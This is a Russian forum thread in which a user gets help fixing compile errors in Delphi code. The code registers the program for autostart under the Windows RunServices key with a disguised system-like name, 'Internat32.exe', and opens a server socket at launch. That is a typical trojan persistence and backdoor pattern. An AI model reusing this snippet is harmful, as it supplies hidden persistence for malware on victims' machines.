Что-то с переменной...

[misher]

Код:

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;// вроде переменная правильно описана, но...ошибка
begin
Reglni:=TRegIniFile.Create('Softwar e');
RegIni.RootKey:=HKEY__LOCAL__MACHIN E;
Reglni.OpenKey('Software', true);
Reglni.OpenKey('Microsoft', true);
Reglni.OpenKey('Windows', true);
Reglni.OpenKey('CurrentVersion'
Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);
Reglni.Free;
ServerSocketl.Active:=true;
end;

Что не правильно, не могу разобраться?!

[DomiNick]

Ну во-первых подключён ли модуль Registry (в uses)?
А потом идентификатор переменной в var и далее в тексте разный...

[misher]

А потом идентификатор переменной в var и далее в тексте разный

А поточнее что там не так?

[DomiNick]

Так в uses добавлен Registry?

var
RegIni:TRegIniFile; // тут 4-я буква в названии переменной - заглавная i
begin
Reglni:=TRegIniFile.Create('Softwar e'); // а тут 4-я буква в названии переменной - строчная L (и пробел лишний в Software)
RegIni.RootKey:=HKEY__LOCAL__MACHIN E; // тут тоже лишний пробел и почему-то по два подчёркивания (должно быть одно)

А это чтот непонятное:

Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);

- на перевод строки может ругаться и не понятно какой текст должен получаться (может кавычки не так как-то поставлены)...

[misher]

Reglni:=TRegIniFile.Create('Softwar e'); // а тут 4-я буква в названии переменной - строчная L (и пробел лишний в Software)
RegIni.RootKey:=HKEY__LOCAL__MACHIN E; // тут тоже лишний пробел и почему-то по два подчёркивания (должно быть одно)

пасиб большое. я первый раз с этой переменной работаю... а так незнаю почему эти пробелы взелись нажимаю редактировать сообщение, а там все норм.
А с этой строчкой

Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);

пытаюсь разобраться...
А в uses добавил... спасибо...(все зароботоло)...

[misher]

На самом деле, эта строка вот так должна была выглядеть:

RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);

если интересно...
Ещё раз спасибо за помощь!
Тема закрыта.